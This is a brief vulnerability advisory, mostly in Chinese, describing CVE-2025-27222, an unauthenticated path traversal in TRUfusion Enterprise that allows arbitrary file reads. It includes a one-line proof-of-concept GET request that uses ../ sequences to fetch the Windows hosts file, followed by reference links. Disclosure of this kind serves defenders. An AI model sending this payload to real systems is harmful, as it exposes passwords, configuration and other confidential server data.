Description
该漏洞为TRUfusion Enterprise ≤ 7.10.4.0存在的路径穿越漏洞，允许未认证攻击者读取服务器任意文件，从而泄露敏感明文密码、配置文件及其他机密数据
TRUfusion Enterprise /trufusionPortal/getCobrandingData 文件读取漏洞（CVE-2025-27222）
PoC
GET /trufusionPortal/getCobrandingData?cobrandingImageName=../../../../../../Windows/System32/drivers/etc/hosts HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://nvd.nist.gov/vuln/detail/CVE-2025-27222
https://www.cvedetails.com/cve/CVE-2025-27222/
https://github.com/advisories/GHSA-pppq-6rq6-872v
https://www.rcesecurity.com/advisories/cve-2025-27222/
https://vuldb.com/?id.330187
https://cve.imfht.com/detail/CVE-2025-27222
https://docs.rocketsoftware.com/bundle/trufusion_security_71050/page/cpl1744968374982.html
https://vulnerability.circl.lu/vuln/CVE-2025-27222